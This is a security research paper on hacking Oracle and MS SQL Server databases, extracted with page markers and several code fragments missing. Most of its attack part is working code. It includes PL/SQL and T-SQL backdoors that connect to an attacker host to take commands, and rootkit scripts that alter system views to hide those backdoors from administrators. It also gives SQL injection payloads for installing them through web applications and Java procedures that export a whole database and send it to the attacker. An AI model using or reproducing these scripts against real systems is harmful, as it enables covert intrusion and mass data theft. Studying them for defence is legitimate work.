Hacking Database
Hacking Database
Hacking Database
Author:
Cesar Cerrudo
(cesar>.at.<argeniss>.dot.<com)
Esteban Martinez Fayo
(esteban>.at.<argeniss>.dot.<com)
Argeniss – Information Security
Abstract:
Data theft is becoming a major threat, criminals have identified where the money is. In the
last years many databases from fortune 500 companies were compromised causing lots of
money losses. This paper will discuss the data theft problem focusing on database attacks, we
will show actual information about how serious the data theft problem is, we will explain why
you should care about database security and common attacks will be described, the main part
of the paper will be the demonstration of unknown and not well known attacks that can be
used or are being used by criminals to easily steal data from your databases, we will focus on
most used database servers: MS SQL Server and Oracle Database, it will be showed how to
steal a complete database from Internet, how to steal data using a database rootkit and
backdoor and some advanced database 0day exploits. We will demonstrate that compromising
databases is not big deal if they haven't been properly secured. Also it will be discussed how to
protect against attacks so you can improve database security at your site.
Introduction:
“By one estimate, 53 million people have had data about themselves exposed over the past 13
months” - InformationWeek, 03/20/2006 [1]
That is old news, right now the number of people that have had their data exposed is more
than 100 million!
This is just starting, attacks will increase in number and sophistication.
In the next image you can see the Top 10 Customer Data-Loss Incidents as of March 2006:
http://www.privacyrights.org/ar/ChronDataBreaches.htm
-2- www.argeniss.com
Argeniss – Information Security
There, a chronology of data breaches is kept up to date by Privacy Rights Clearinghouse [2].
These data breaches not only prejudice people that has their data compromised, the biggest
damage is caused to the company affected by the breach, in order to illustrate this let's see
some estimated money loses of some companies that didn't take care of the data:
Data about people has more value than people think, let's see and estimation of how much
personal data worth (Open market pricing of personal data from Swipe Toolkit [3]) :
You can see why cyber criminals are going for your data, of course on black market the prices
won't be the same (maybe yes), but 20% of these prices multiplied by let's say 100,000
records it's good money for a point and click few minutes job (hack).
You must care about database security because databases are where your most valuable data
rest:
● Corporate data.
● Customer data.
● Financial data.
● Etc.
When your databases stop working your company stops working too, try to do a quick
-3- www.argeniss.com
Argeniss – Information Security
estimation about how much money you will lose if your databases stop working for a couple of
hours, for a day, a week, etc. instantly you will realize that your databases are the most
important thing in your company. I was talking about databases stop working without
mentioning a reason, what about if your databases get hacked, then your company can lose
millions, in worst case it can run out of business.
And that list gets bigger every day, but complying with regulations and laws is not our topic
right now, it's deserves another paper.
Database vulnerabilities affect all database vendors, I know it's old news but guess what? it's
still a big issue, some vendors as our loved Oracle (DB2 doesn't seem much better!!) are more
affected than others. For instance, on 2006 Oracle released 4 Critical Patch Updates related
with database server, more than 20 remote (no authentication required) vulnerabilities were
fixed, but that's not the worst new, currently there are more than 50 vulnerabilities that are
still un-patched on Oracle Database, so no matter if your database servers are up to date with
patches they still can be easily hacked.
To give an idea of how buggy are database servers let me quickly mention how many 0days
Argeniss currently has:
● DB2: 8
● Informix: 2
● Oracle: >50
Nowadays perimeter defense is strong and secure but that's not enough, databases have many
entry points such as web applications, internal networks, partners networks, etc. Any regular
database user can hack a database if it's not properly monitored. No matter if operating
systems and networks are properly secured, databases still could: be mis-configured, have
weak passwords, be vulnerable to unknown and known vulnerabilities, etc.
It's important to mention how databases are hacked, having this in mind helps you to better
protect them. Let's enumerate some common attacks.
Password guessing/brute-forcing:
If passwords are blank or not strong they can be easily guessed/brute-forced. After a valid
user account is found is easy to complete compromise the database, especially if the database
is Oracle.
Exploiting mis-configurations:
Some database servers are open by default. Lots of functionality enabled and most of the time
insecurely configured.
-4- www.argeniss.com
Argeniss – Information Security
Delivering a Trojan:
This is not a common database server attack but it's something we are researching and the
results are scary, soon we will have one beautiful beast ready, maybe on next paper you will
know it.
A trojan can be delivered by email, p2p, IM, CD, DVD, pen drive, etc. Once it gets executed on
a desktop computer by a company employee, it will get database servers and users
information in an automatic and stealth way using ODBC, OLEDB, JDBC configured
connections, sniffing, etc. When enough information is collected the trojan can connect to
database servers, it could try default accounts if necessary. After a successful login it will be
ready to steal data, it could run a 0day to elevate privileges to own the complete database
server and also install a database rootkit to hide its actions. All the previous steps will be
repeated on every database server found. The trojan can send the stolen data encrypted back
to attacker by email, HTTP, covert channel, etc.
Installing a rootkit/backdoor:
By installing a rootkit actions and database objects can be hidden so administrators won't
notice someone hacked the database and continues having access. A database backdoor can
be used, designed to steal data and send it to attacker and/or to give the attacker stealth and
unrestricted access at any given time.
-5- www.argeniss.com
Argeniss – Information Security
from a remote location and get the responses from the server.
Attackers don’t want to be visible to database administrators, so backdoors can be used in
combination with rootkits to hide the backdoor operations from the DBA.
This program (the backdoor) can be scheduled, using the Job functionality, to run periodically,
so if the connection is lost or the database instance is restarted, the attacker will get
connected at a later time.
In order to avoid detection, the communication between the backdoor and the attacker’s host
can be encrypted or encoded in some way that is not detected by an IDS or IPS and that is not
understandable to someone that is looking at the network traffic.
Backdoor Console:
The Backdoor Console is a GUI application that the attacker runs on his/her computer. It
allows the attacker to:
The Backdoor installed in the database server and the Backdoor Console that is running on the
attacker’s host use TCP/IP to communicate. The Backdoor Console listens on a predefined TCP
port (4444) waiting for connections from the database server Backdoor.
When the Backdoor starts, it opens an outgoing TCP connection to a predefined host and port
where the Backdoor Console is listening. The first message that the Backdoor sends, contains
information about the owned database: Database Server type (Oracle, SQL Server), Version,
Database name and Database ID.
-6- www.argeniss.com
Argeniss – Information Security
It loops until the “EXIT” command is received. When the Backdoor receives the EXIT
command, it closes the TCP connection.
Execute command
Send Output
Attacker host (remote)
-7- www.argeniss.com
Argeniss – Information Security
PL/SQL Scripts:
These are PL/SQL scripts that will install (or uninstall) the rootkit and the backdoor in an
Oracle database.
OracleRootkit.sql:
This script creates a function that modifies the data dictionary views DBA_JOBS,
DBA_JOBS_RUNNING, KU$_JOB_VIEW to hide the backdoor job.
The function can be injected in any SQL Injection vulnerability where a function call can be
injected as is the case of many SQL Injection vulnerabilities recently found in Oracle software.
Below is the script that installs the backdoor. The original views are altered to add a condition
in the WHERE clause so the backdoor job is not returned. In red you can see what is added to
the original view definition.
CREATE OR REPLACE
FUNCTION ins_rootkit RETURN VARCHAR2 AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."DBA_JOBS" ("JOB",
"LOG_USER", "PRIV_USER", "SCHEMA_USER", "LAST_DATE", "LAST_SEC", "THIS_DATE",
"THIS_SEC", "NEXT_DATE", "NEXT_SEC", "TOTAL_TIME", "BROKEN", "INTERVAL",
"FAILURES", "WHAT", "NLS_ENV", "MISC_ENV", "INSTANCE") AS
select JOB, lowner LOG_USER, powner PRIV_USER, cowner SCHEMA_USER,
LAST_DATE, substr(to_char(last_date,''HH24:MI:SS''),1,8) LAST_SEC,
THIS_DATE, substr(to_char(this_date,''HH24:MI:SS''),1,8) THIS_SEC,
NEXT_DATE, substr(to_char(next_date,''HH24:MI:SS''),1,8) NEXT_SEC,
(total+(sysdate-nvl(this_date,sysdate)))*86400 TOTAL_TIME,
decode(mod(FLAG,2),1,''Y'',0,''N'',''?'') BROKEN,
INTERVAL# interval, FAILURES, WHAT,
nlsenv NLS_ENV, env MISC_ENV, j.field1 INSTANCE
from sys.job$ j WHERE j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%''';
-8- www.argeniss.com
Argeniss – Information Security
COMMIT;
RETURN '';
END;
OracleBackdoor.sql:
This script creates a function that submits a job that reads commands from the attacker host,
executes them and sends the command output back to the attacker.
Create a function named ins_backdoor that executes as the calling user and is defined as an
autonomous transaction. These characteristics are required so this function can then be used
in a SQL injection exploit.
CREATE OR REPLACE
FUNCTION ins_backdoor RETURN VARCHAR2 AUTHID CURRENT_USER AS
PRAGMA AUTONOMOUS_TRANSACTION;
job_id NUMBER;
BEGIN
Submit a database job using the job functionality in DBMS_JOB. For the TCP/IP communication
with the Backdoor Console it uses the UTL_TCP Oracle standard package.
Open a connection to the attacker host where the Backdoor Console is running. In this script it
is hardcoded to 192.168.253.1 and the TCP port is 4444. You can change it to any other value.
Get the information about the database and send it over the TCP connection as an XML
document.
If the received SQL command is a SELECT it will first get all the column names and send them
so the Backdoor Console displays them as the column headers in a grid.
-9- www.argeniss.com
Argeniss – Information Security
If the received SQL command is not a SELECT just execute it using EXECUTE IMMEDIATE.
EXECUTE IMMEDIATE(l_sqlstm);
l_ret_val := UTL_TCP.WRITE_LINE(l_cn, ''PL/SQL successfully
completed.'');
END IF;
EXCEPTION
If there are any errors, send the description over the connection.
SYSDATE + 10/86400 is the time when the job must start for the first time. It is 10 seconds
after the submission.
'SYSDATE + 1/1440' means that the job will run again every one minute.
CleanOracleBackdoor.sql:
This script removes all the Backdoor Jobs. To do this it will search for all the Database Jobs
starting with 'DECLARE L_CN UTL_TCP.CONNECTION;' and remove them using
DBMS_JOB.REMOVE.
DECLARE
CURSOR l_cur_jobs IS
SELECT JOB FROM JOB$ WHERE WHAT LIKE 'DECLARE l_cn UTL_TCP.CONNECTION;%';
l_rec l_cur_jobs % rowtype;
-10- www.argeniss.com
Argeniss – Information Security
BEGIN
OPEN l_cur_jobs;
LOOP
FETCH l_cur_jobs INTO l_rec;
EXIT WHEN l_cur_jobs % NOTFOUND;
DBMS_JOB.REMOVE(l_rec.job);
COMMIT;
END LOOP;
COMMIT;
END;
CleanOracleRootkit.sql:
Restores the jobs data dictionary views to its original state.
It’s similar to OracleRootkit.sql but without the conditions that were added to hide the
backdoor (text in red).
As discussed earlier, these scripts need to be run on the database server as a user with DBA
privileges. In the previous section ‘How databases are hacked?’ we mention and described
some of the techniques that attackers could use to achieve this.
DECLARE
P_CHANGE_SET VARCHAR2(32767);
P_DESCRIPTION VARCHAR2(32767);
P_SUBSCRIPTION_HANDLE NUMBER;
BEGIN
P_CHANGE_SET := '''||SCOTT.ins_rootkit()||''';
P_DESCRIPTION := 'AA';
P_SUBSCRIPTION_HANDLE := 1;
SYS.DBMS_CDC_SUBSCRIBE.GET_SUBSCRIPTION_HANDLE(P_CHANGE_SET, P_DESCRIPTION,
P_SUBSCRIPTION_HANDLE);
END;
DBMS_XMLQUERY.GETXML:
There is a function (available since Oracle 9i Release 1) called GETXML in package
DBMS_XMLQUERY that executes a query and returns the result in XML format. By default it
has EXECUTE privilege granted to PUBLIC. The interesting part is that it allows to execute
anonymous PL/SQL blocks and creating an autonomous transaction executes not only queries
-11- www.argeniss.com
Argeniss – Information Security
but also DML and DDL statements. No privilege elevation exists here, but this can be used to
exploit more easily the many SQL Injection vulnerabilities that require a function to be created
and also to easily exploit a SQL injection in a web application with an Oracle Database
backend.
To execute PL/SQL blocks as the web database user an attacker can submit this in the Search
parameter of the web page:
'||dbms_xmlquery.getXml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute
immediate '' ANY PL/SQL BLOCK ''; commit; end; ', 0)||'
This results in the next PL/SQL being executed by the web database user:
SELECT EMPNO, ENAME, JOB FROM SCOTT.EMP WHERE ENAME LIKE ''||
dbms_xmlquery.getXml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute
immediate '' ANY PL/SQL BLOCK ''; commit; end; ', 0)||'%'
We will assume that the web database user doesn’t have DBA privileges but the CREATE
PROCEDURE privilege. So we will create a function that installs the backdoor and later we will
exploit a SQL injection vulnerability in one of the Oracle packages to execute this function as
SYS.
To create the function to install the Backdoor Job an attacker can send this to the web page
parameter vulnerable to SQL injection:
'||dbms_xmlquery.getXml( 'declare PRAGMA AUTONOMOUS_TRANSACTION; begin
execute immediate ''CREATE OR REPLACE FUNCTION ins_backdoor RETURN VARCHAR2
AUTHID CURRENT_USER AS PRAGMA AUTONOMOUS_TRANSACTION; job_id NUMBER;
l_count NUMBER; BEGIN execute immediate ''''SELECT COUNT(*) FROM JOB$ WHERE
WHAT LIKE ''''''''DECLARE l_cn UTL_TCP.CONNECTION;%'''''''''''' INTO L_COUNT; if
l_count = 0 then DBMS_JOB.SUBMIT(job_id, ''''DECLARE l_cn UTL_TCP.CONNECTION;
l_ret_val PLS_INTEGER; l_sqlstm VARCHAR2(32000); l_thecursor INTEGER;
l_columnvalue VARCHAR2(2000); l_status INTEGER; l_colcnt NUMBER DEFAULT 0;
l_desc_t DBMS_SQL.DESC_TAB; BEGIN l_cn :=
UTL_TCP.OPEN_CONNECTION(''''''''192.168.253.1'''''''', 4444, 1521); SELECT
DBID, NAME INTO l_colcnt, l_sqlstm FROM V$DATABASE; SELECT banner INTO
l_columnvalue FROM V$VERSION WHERE ROWNUM = 1; l_ret_val :=
UTL_TCP.WRITE_LINE(l_cn, ''''''''<?xml version="1.0" encoding="utf-8" ?
><IncommingConn xmlns="http://tempuri.org/IncomingBackdoorConn.xsd"
DBType="Oracle" ServerVersion="'''''''' || l_columnvalue || ''''''''"
DBName="'''''''' || l_sqlstm || ''''''''" DBID="'''''''' || l_colcnt ||
''''''''"/>''''''''); LOOP l_sqlstm := UTL_TCP.GET_LINE(l_cn, TRUE);
EXIT WHEN UPPER(l_sqlstm) = ''''''''EXIT''''''''; BEGIN l_thecursor :=
DBMS_SQL.OPEN_CURSOR; IF(SUBSTR(LTRIM(UPPER(l_sqlstm)), 1, 7)) =
''''''''SELECT '''''''' THEN DBMS_SQL.PARSE(l_thecursor, l_sqlstm,
DBMS_SQL.NATIVE); DBMS_SQL.DESCRIBE_COLUMNS(l_thecursor, l_colcnt,
l_desc_t); FOR i IN 1 .. l_colcnt LOOP l_ret_val :=
UTL_TCP.WRITE_LINE(l_cn, '''''''''''''''' || l_desc_t(i).col_name);
DBMS_SQL.DEFINE_COLUMN(l_thecursor, i, l_columnvalue, 2000); END LOOP;
l_ret_val := UTL_TCP.WRITE_LINE(l_cn, '''''''''''''''');
DBMS_SQL.DEFINE_COLUMN(l_thecursor, 1, l_columnvalue, 2000); l_status :=
DBMS_SQL.EXECUTE(l_thecursor); LOOP EXIT
WHEN(DBMS_SQL.FETCH_ROWS(l_thecursor) <= 0); FOR i IN 1 .. l_colcnt
LOOP DBMS_SQL.COLUMN_VALUE(l_thecursor, i, l_columnvalue);
l_ret_val := UTL_TCP.WRITE_LINE(l_cn, '''''''''''''''' || l_columnvalue);
END LOOP; l_ret_val := UTL_TCP.WRITE_LINE(l_cn, '''''''''''''''');
END LOOP; DBMS_SQL.CLOSE_CURSOR(l_thecursor); ELSE EXECUTE
IMMEDIATE(l_sqlstm); l_ret_val := UTL_TCP.WRITE_LINE(l_cn,
''''''''PL/SQL successfully completed.''''''''); END IF; EXCEPTION
WHEN OTHERS THEN l_ret_val := UTL_TCP.WRITE_LINE(l_cn, ''''''''ORACLE
ERROR: '''''''' || sqlerrm); END; l_ret_val := UTL_TCP.WRITE_LINE(l_cn,
''''''''[[EnD]]''''''''); END LOOP; UTL_TCP.CLOSE_CONNECTION(l_cn); END;
'''', SYSDATE + 10/86400, ''''SYSDATE + 1/1440''''); end if; COMMIT; return
''''''''; END;''; commit; end; ' , 0 )||'
-12- www.argeniss.com
Argeniss – Information Security
The backdoor job is not created yet. To create it the attacker needs to execute the function
ins_backdoor that have just created as a DBA user. To do this the attacker can send this
exploit to the web application vulnerable parameter:
'||SYS.DBMS_METADATA.GET_DDL('AA'' || scott.ins_backdoor || ''','')||'
In a similar way that the backdoor was installed the rootkit can also be installed using a web
application vulnerable to SQL injection.
This example consists of two scripts that needs to be run after the database has been
compromised (require DBA privilege). The scripts work on all platforms where Oracle runs.
There are two different versions of the scripts one for *nix and another for Windows, being the
only difference between them the path locations for files and directories.
export_and_zip.sql:
In this script we create two stored procedures using the Java functionality provided by Oracle
to get access to the Operating System.
This Java function creates a text file that will be used to call the Oracle exp utility to export all
the database contents to a file.
Parameters:
parfile: File name for the text parameter file that will be created.
export: File name for the exported file.
This Java function executes as an OS command the string cmd passed as a parameter.
-13- www.argeniss.com
Argeniss – Information Security
p.waitFor();
}
};
Execute the Java stored procedures to: Create a parameter file for exp utility, Run the exp
utility to export the database and Compress the exported file with a Zip utility.
Path locations are different so we have two versions one for Window and another for *nix
-- Windows
BEGIN
PROC_CREATEPARFILE('C:\parfile.txt', 'c:\export.dmp');
PROC_EXECUTEOS ('exp parfile=C:\parfile.txt');
PROC_EXECUTEOS ('zip c:\export.zip c:\export.dmp');
END;
-- *nix
BEGIN
PROC_CREATEPARFILE('parfile.txt', 'export.dmp');
PROC_EXECUTEOS ('../bin/exp parfile=../parfile.txt');
PROC_EXECUTEOS ('/usr/bin/zip export.zip export.dmp');
END;
So, this script creates an export file in the server host, containing all the data in the database
compressed in Zip format. Now we need to send the file over the network to the attacker host.
send_zip.sql:
This script uses the Java functionality available in Oracle Database Server to open an outgoing
TCP connection from the database server to the attacker remote host at a given TCP port
number. Once this connection is opened, the script sends all the contents in the exported Zip
file over this connection.
This Java function uses the network functionality in java.net.* to send a local file over a TCP/IP
connection to a remote site.
public static void fileSend(String myFile, String host, int port) throws
Exception
{
int length;
byte buffer[] = new byte[1024];
-14- www.argeniss.com
Argeniss – Information Security
sock.close();
inpStream.close();
}
};
Execute the Java Stored procedure to send the exported file (export.zip) from the database
server to the attacker’s host (192.168.253.1 TCP port 4445).
-- Windows
exec PROC_FILESEND ('c:\export.zip', '192.168.253.1', 4445);
-- *nix
exec PROC_FILESEND ('./dbs/export.zip', '192.168.253.1', 4445);
To receive the compressed file with all the database contents, the attacker can use the netcat
utility to redirect what is received in a TCP port to a file. This can be done with the following
command:
The previous sentences could be executed by exploiting SQL injection in a web application if
-15- www.argeniss.com
Argeniss – Information Security
the web application has enough privileges which is not uncommon, 'sa' or other administrative
account are often used by web developers to connect to MS SQL Server.
Data can be compressed 10:1 or more, so 1Gb database will be 100Mb so it's not difficult to
steal big amounts of data.
There is this old tool called DataThief, it's just a pretty basic PoC I built on 2002, yes it's 5
years old, what it's amazing is that it still works and that's the reason why it's mentioned here,
to show that how a simple and old tool can be easily used to steal data by just point and click.
This tool exploits SQL Injection and it works even if you can't get results nor errors back on
the web application. It uses a technique that won't be detailed here but you can look at [4] for
full details, basically it makes attacked web application backend SQL Server connect to an
attacker SQL Server and copy all available data, it uses OpenRowset functionality so there is
no need of elevated privileges, on SQL Server 2000 it's enabled by default, on SQL Server
2005 it's not enabled by default but if the functionality has been enabled because specific
needs then it can be abused. In order for this tool to work the backend SQL Server should be
able to connect to attacker SQL Server.
This is a point and click tool very easy to use that unfortunately has been used by bad guys to
steal data, that's the reason why it was taken off line some time ago.
To use the tool you first need to have your own (or not) MS SQL Server where the tool will
copy the available data, you have to setup the connection parameters at the very top of the
tool, then you need to find a SQL injection entry point in a web application and set the URL
and parameters adding <***> where SQL statements will be automatically injected to, also
you have to set the HTTP method used to send the data to web application, after that you only
need to start making click and you will get all the data available.
-16- www.argeniss.com
Argeniss – Information Security
This tool is available together with this paper and it has a help document that give more
details on how to use it.
Stealing SQL Server account credentials and use them to connect back
to SQL Server:
As you may know MS SQL Server supports Windows NTLM authentication, NTLM authentication
and NTLM weaknesses won't be detailed here you can look at [5] for details. The NTLM
challenge response mechanism is vulnerable to MITM attacks because by default all Windows
versions use a weak configuration, so we can exploit this to launch an attack that will allow us
to connect to MS SQL Server as the user account under the SQL Server service is running
which always is an administrative account, logically this attack won't work if SQL Server is
running under LocalSystem account because it can't authenticate to remote systems, but don't
worry because running SQL Server under LocalSystem account is not a good security practice
and it is not recommended by Microsoft.
We can force SQL Server connect to us (the attacker) and try to authenticate (xp_fileexist can
be executed by any database user):
That sentence will cause SQL Server to try to authenticate to the remote computer as its
service account which has sysadmin database privileges.
By using this NTLM MITM attack, we can use SQL Server credentials to connect back to SQL
Server as sysadmin and own the database server (and then own the Windows server of course
but that's another topic)
-17- www.argeniss.com
Argeniss – Information Security
This attack is implemented by our Maguro tool (by JP) available together with this paper,
which consists on a couple of python scripts, currently this tool only works with Windows 2000,
we are still working to support Windows 2003.
The tunnel juggles with the NTLMSSP packets contained in the TDS/SQL connection, and
escalates privileges to the ones of the account the SQL server is running as (it won't work if
SQL Server is running under Local System account), using the already well known and
documented MITM attack to NTLM authentication which has existed for several years now (first
detailed information I remember comes from smbrelay's author, Sir Dystic of CULT OF THE
DEAD COW [0]).
-18- www.argeniss.com
Argeniss – Information Security
To do so, it forces the target SQL server to connect and authenticate itself to the attacker's
machine.
...
BEGIN TRANSACTION
DECLARE @ReturnCode INT
SELECT @ReturnCode = 0
END
-19- www.argeniss.com
Argeniss – Information Security
if ucase(trim(command))<>"EXIT" then
Set Conn = CreateObject("ADODB.Connection")
Set Rec = CreateObject("ADODB.Recordset")
else
outtext= err.description
-20- www.argeniss.com
Argeniss – Information Security
end if
end if
end if
loop
end if
set conn=nothing
set rec=nothing
set http=nothing
set test=nothing
function CheckError
if err=0 then
CheckError=False
else
CheckError=True
err=0
end if
end function
',
@database_name=N'VBScript', @flags=0
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name =
N'(local)'
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
COMMIT TRANSACTION
GOTO EndSave
QuitWithRollback:
IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
EndSave:
The above code will first create a Job, then it will schedule the Job to run whenever you want,
finally it will add a Job step with the vbscript that will connect to attacker over HTTP and read a
command from Date HTTP header and return responses back and so on until "exit" command
is read.
If you want run the Job just after you create it you can execute the next:
----------------------------------------------------------------------
--
-- Script for SQL Server 2005 to install rootkit to hide backdoor
-- running as a job, adding "(jobs.name<>'backD00r') AND" in where clause
-21- www.argeniss.com
Argeniss – Information Security
--
----------------------------------------------------------------------
use msdb;
exec sp_executesql N'
ALTER VIEW sysjobs_view
AS
SELECT jobs.job_id,
svr.originating_server,
jobs.name,
jobs.enabled,
jobs.description,
jobs.start_step_id,
jobs.category_id,
jobs.owner_sid,
jobs.notify_level_eventlog,
jobs.notify_level_email,
jobs.notify_level_netsend,
jobs.notify_level_page,
jobs.notify_email_operator_id,
jobs.notify_netsend_operator_id,
jobs.notify_page_operator_id,
jobs.delete_level,
jobs.date_created,
jobs.date_modified,
jobs.version_number,
jobs.originating_server_id,
svr.master_server
FROM msdb.dbo.sysjobs as jobs
JOIN msdb.dbo.sysoriginatingservers_view as svr
ON jobs.originating_server_id = svr.originating_server_id
--LEFT JOIN msdb.dbo.sysjobservers js ON jobs.job_id = js.job_id
WHERE (jobs.name<>''backD00r'') AND ( (owner_sid = SUSER_SID())
OR (ISNULL(IS_SRVROLEMEMBER(N''sysadmin''), 0) = 1)
OR (ISNULL(IS_MEMBER(N''SQLAgentReaderRole''), 0) = 1)
OR ( (ISNULL(IS_MEMBER(N''TargetServersRole''), 0) = 1) AND
(EXISTS(SELECT * FROM msdb.dbo.sysjobservers js
WHERE js.server_id <> 0 AND js.job_id = jobs.job_id)))) -- filter out local jobs'
----------------------------------------------------------------------
--
-- Script for SQL Server 2005 to install rootkit to hide schedule
-- for the backdoor job, adding "AND sched.name<>'1'" in where clause
--
----------------------------------------------------------------------
use msdb;
exec sp_executesql N'
ALTER VIEW sysschedules_localserver_view
AS
SELECT sched.schedule_id,
sched.schedule_uid,
sched.originating_server_id,
sched.name,
sched.owner_sid,
sched.enabled,
sched.freq_type,
-22- www.argeniss.com
Argeniss – Information Security
sched.freq_interval,
sched.freq_subday_type,
sched.freq_subday_interval,
sched.freq_relative_interval,
sched.freq_recurrence_factor,
sched.active_start_date,
sched.active_end_date,
sched.active_start_time,
sched.active_end_time,
sched.date_created,
sched.date_modified,
sched.version_number,
svr.originating_server,
svr.master_server
FROM msdb.dbo.sysschedules as sched
JOIN msdb.dbo.sysoriginatingservers_view as svr
ON sched.originating_server_id = svr.originating_server_id
WHERE (svr.master_server = 0) AND sched.name<>''1''
AND ( (sched.owner_sid = SUSER_SID())
OR (ISNULL(IS_SRVROLEMEMBER(N''sysadmin''), 0) = 1)
OR (ISNULL(IS_MEMBER(N''SQLAgentReaderRole''), 0) = 1)
)'
After running running the above code the Job we previously created will be hided from MS SQL
Server tools. We will continue having access without being noticed by database administrators.
After we have done all we want with the database server or if we are tired of owning the
server we can remove the rootkit with the next TSQL code:
----------------------------------------------------------------------
--
-- Script for SQL Server 2005 to uninstall rootkit that hides backdoor
-- running as a job, removing "(jobs.name<>'backD00r') AND" in where clause
--
----------------------------------------------------------------------
use msdb;
exec sp_executesql N'
ALTER VIEW sysjobs_view
AS
SELECT jobs.job_id,
svr.originating_server,
jobs.name,
jobs.enabled,
jobs.description,
jobs.start_step_id,
jobs.category_id,
jobs.owner_sid,
jobs.notify_level_eventlog,
jobs.notify_level_email,
jobs.notify_level_netsend,
jobs.notify_level_page,
jobs.notify_email_operator_id,
jobs.notify_netsend_operator_id,
jobs.notify_page_operator_id,
jobs.delete_level,
jobs.date_created,
-23- www.argeniss.com
Argeniss – Information Security
jobs.date_modified,
jobs.version_number,
jobs.originating_server_id,
svr.master_server
FROM msdb.dbo.sysjobs as jobs
JOIN msdb.dbo.sysoriginatingservers_view as svr
ON jobs.originating_server_id = svr.originating_server_id
--LEFT JOIN msdb.dbo.sysjobservers js ON jobs.job_id = js.job_id
WHERE (owner_sid = SUSER_SID())
OR (ISNULL(IS_SRVROLEMEMBER(N''sysadmin''), 0) = 1)
OR (ISNULL(IS_MEMBER(N''SQLAgentReaderRole''), 0) = 1)
OR ( (ISNULL(IS_MEMBER(N''TargetServersRole''), 0) = 1) AND
(EXISTS(SELECT * FROM msdb.dbo.sysjobservers js
WHERE js.server_id <> 0 AND js.job_id = jobs.job_id))) -- filter out local jobs'
----------------------------------------------------------------------
--
-- Script for SQL Server 2005 to uninstall rootkit that hides schedule
-- for the backdoor job, removing "AND sched.name<>'1'" in where clause
--
----------------------------------------------------------------------
use msdb;
exec sp_executesql N'
ALTER VIEW sysschedules_localserver_view
AS
SELECT sched.schedule_id,
sched.schedule_uid,
sched.originating_server_id,
sched.name,
sched.owner_sid,
sched.enabled,
sched.freq_type,
sched.freq_interval,
sched.freq_subday_type,
sched.freq_subday_interval,
sched.freq_relative_interval,
sched.freq_recurrence_factor,
sched.active_start_date,
sched.active_end_date,
sched.active_start_time,
sched.active_end_time,
sched.date_created,
sched.date_modified,
sched.version_number,
svr.originating_server,
svr.master_server
FROM msdb.dbo.sysschedules as sched
JOIN msdb.dbo.sysoriginatingservers_view as svr
ON sched.originating_server_id = svr.originating_server_id
WHERE (svr.master_server = 0)
AND ( (sched.owner_sid = SUSER_SID())
OR (ISNULL(IS_SRVROLEMEMBER(N''sysadmin''), 0) = 1)
OR (ISNULL(IS_MEMBER(N''SQLAgentReaderRole''), 0) = 1)
)'
-24- www.argeniss.com
Argeniss – Information Security
----------------------------------------------------------------------
--
-- Script for SQL Server 2005 to uninstall backdoor
--
----------------------------------------------------------------------
DECLARE @jobId BINARY(16)
select @jobId=job_id FROM msdb.dbo.sysjobs where name='backD00r'
EXEC msdb.dbo.sp_delete_job @job_id=@jobId, @delete_unused_schedule=1
After removing the rootkit and backdoor the database server will continue running without
problems. Instead of removing the rootkit and backdoor you can just disable the job schedule
and enable it when you need it because you don't have to worry about the backdoor being
detected unless some smart database administrators read the next :)
To detect if this rootkit is installed it's just easy as directly querying msdb.dbo.sysjobs and
msdb.dbo.sysschedules tables and comparing the results with the ones displayed by MS SQL
Server tools.
We have seen some pretty cool attacks, we are constantly researching and finding new attacks
and vulnerabilities on database servers, for more exploits, advisories, research papers, etc.
related for database security you can look at [6] .
Let's see now how you can protect your databases against attacks.
Use encryption:
-25- www.argeniss.com
Argeniss – Information Security
-26- www.argeniss.com
Argeniss – Information Security
-27- www.argeniss.com
Argeniss – Information Security
Conclusion:
As we just saw data theft threat is real, stealing data is pretty simple if you know how to do it
and the bad guys are learning fast, they are investing and building attack tools while
companies seem to be sleeping and giving away for free their data. One simple mistake can
lead to database compromise. If you don't protect your databases sooner or later you will get
hacked, this means lot of money loses and in worst case running out of business. Perimeter
defense is not enough, you must protect your databases doing strong investments on database
protection.
Spam:
Don't be like Oracle, hack your own servers before someone else does it!,
check out Argeniss Ultimate 0day Exploits Pack
http://www.argeniss.com/products.html
-28- www.argeniss.com
Argeniss – Information Security
References:
-29- www.argeniss.com
Argeniss – Information Security
About Argeniss
Contact us
E-mail: info>.at.<argeniss>.dot.<com
Tel: +54-343-4231076
Fax: 1-801-4545614
-30- www.argeniss.com